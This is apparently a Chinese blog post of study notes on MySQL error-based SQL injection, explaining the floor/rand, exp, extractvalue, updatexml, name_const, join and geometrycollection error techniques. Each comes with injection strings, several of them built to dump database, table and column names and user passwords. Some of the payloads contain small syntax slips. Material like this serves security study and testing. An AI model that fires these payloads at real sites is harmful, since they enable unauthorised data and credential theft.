mysql数据库报错

floor()报错注入

floor函数向下取整

rand函数,取随机值,若有参数,每个x对应一个固定的值,如果连续多次执行变化,可以预测

floor( rand(0)*2) 产生的随机序列为011001 

报错原理

利用数据表主键不能重复的原理,使用group by分组产生主键key冗余,导致报错

报错语句

select count(*) ,floor(rand(0)*2)  from user group by name 

生成

count           x
   2            1
   1            1

查询第一条记录,别名x 产生 键值0,当键值 0 不存在虚拟表时,执行插入,此时别名x是一个函数,是变量,在执行插入时,按照GROUP BY分组之时 又要执行floor函数,得到1 ,故向虚拟表中插入键值1,count = 1

查询第二条记录,别名x产生键值1,虚拟表中存在1,则令count + 1 = 2

查询第三条记录,别名x产生键值0,键值0不存在临时表,执行插入,别名x再次执行得键值1,由于1存在于临时表,那么插入之后如下表所示

由于数据库报错会将原因显示出来,所以利用报错实现注入

保证floor报错注入必须保证查询数据大于3条 

约束条件

输出字符限制在64个字符内

注入语句

and select * from (select count(*),concat(0x7e,(操作代码),floor(rand(0)*2) x ,0x7e)) from  information_schema.tables group by x ) as y )\

爆数据库

1 and select * from (select count(*),concat(0x7e,(select schema_name from information_schema.schema limit 1,1),floor(rand(0)*2),0x7e) x  from information_schema.tables group by x ) as y 

爆表 

1 and select * from (select count(*),concat(0x7e,(select table_name from information_schema.table where table_schema=database() limit 0,1),floor(rand(0)*2),0x7e) x from information_schema.tables group by x ) as y 

tips:MySQL中,反引号(`)用于将标识符(如表名、列名等)括起来,以便在标识符中使用特殊字符或关键字

爆列

1 and select * from (select count(*),concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 1/2/0,1),floor(rand(0)*2),0x7e) x from information_schema.tables group by x ) as y 

通过修改limit 位置,字段进行选择爆出数据表的any位置

爆字段

1 and select * from (select count(*),concat(0x7e,(select password from users limit 0/1/2,1),floor(rand(0)*2 ),0x7e) as x from information_schema.tables group by x ) as y 

修改limit位置爆出不同字段

mysql exp报错

exp()数学函数,用于计算e的x次方的函数。

5.5<mysql版本<5.6

exp是以e为底的指数函数

但是,由于数字太大是会产生溢出。这个函数会在参数大于709时溢出,报错。

 将0按位取反就会返回“18446744073709551615”,再加上函数成功执行后返回0的缘故,我们将成功执行的函数取反就会得到最大的无符号BIGINT值。

我们通过子查询与按位求反,造成一个DOUBLE overflow error,并借由此注出数据。

 注入语句

and (exp(~(select * from (操作代码) a)))

 mysql extractvalue 报错

extractvalue():从目标XML中返回包含所查询值的字符串。
  EXTRACTVALUE (XML_document, XPath_string);
  第一个参数:XML_document是String格式,为XML文档对象的名称
  第二个参数:XPath_string (Xpath格式的字符串)
  concat:返回结果为连接参数产生的字符串。
例如:SELECT ExtractValue('<a><b><b/></a>', '/a/b'); 就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容。

约束条件

输出字符长度限制为32个字符

注入语句

and extractvalue(null,concat(0x7e,(代码操作),0x7e))

select * from users where id and extractvalue(null,concat(0x7e,(select version()),0x7e));

mysql updatexml 报错

UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更 改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。如果未xpath_expr找到表达式匹配 ,或者找到多个匹配项,则该函数返回原始 xml_targetXML片段。

约束条件

输出字符长度限制为32个字符

注入语句

and updatexml(1,concat(0x7e,(代码操作),0x7e),3)

select name from user where id=1 and updatexml(1,concat(0x7e,(select version()),0x7e),3);

mysql name_const()报错注入

NAME_CONST(name,value)

Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.

报错原理

mysql列名重复会导致报错,通过name_const制造一个列

我们可以利用mysql列名重复会导致报错这个原理配合join函数得到列名using 等价 join 中的On

约束条件

查询的内容需是定值(约束条件过于苛刻,可操作的内容极其少)

注入语句

and exists(select * from (select * from(select name_const(操作代码,0)) a join (select name_const(操作代码,0)) b)c)

例子

mysql join 报错

 约束条件

在知到表名的前提下才能操作

注入语句

and(select * from (select * from 表名 a join 表名 b using(已知的字段1,已知的字段2,……)c))

举例

select * from (select * from users a join users b )c;

select * from (select * from users a join users b using(id))c;

select * from (select * from users a join users b using(id,name))c;

select * from (select * from users a join users b using(id,name,password))c;

mysql geometrycollection 报错

GeometryCollection是由1个或多个任意类几何对象构成的几何对象。GeometryCollection中的所有元素必须具有相同的空间参考系(即相同的坐标系)。对GeometryCollection的元素无任何限制,但下面介绍的GeometryCollection的子类会限制其成员。这类限制可能基于:

元素类型(例如,MultiPoint可能仅包含Point元素)。

官方文档中举例的用法如下:

GEOMETRYCOLLECTION(POINT(10 10), POINT(30 30), LINESTRING(15 15, 20 20))

POINT(x,y) 函数,这是坐标函数,相当于X,Y坐标图上的一点。

LINESTRING(x y,x y)函数,这个函数用来描述直线,两点连成的直线。

报错原理

由于MYSQL无法用这样字符串画出图形,所以报错了

约束条件

5.5<mysql <5.6

注入代码

and geometrycollection((select * from(select * from (操作代码)a)b))

mysql 其他函数 报错

都为空间数据储存函数,其余函数的报错原理与GeometryCollection()原理相同

MySQL支持以下数据类型:

Geometry:可以存储所有的几何类型

Point:简单点

LINESTRING:简单线

POLYGON:简单面

MULTIPOINT:多点

MULITILINESTRING:多线

MUILITIPOLYGON:很多方面

GEOMETRYCOLLECTION:任何几何集合

posted @ 2023-07-14 16:31  lisenMiller  阅读(108)  评论(0编辑  收藏  举报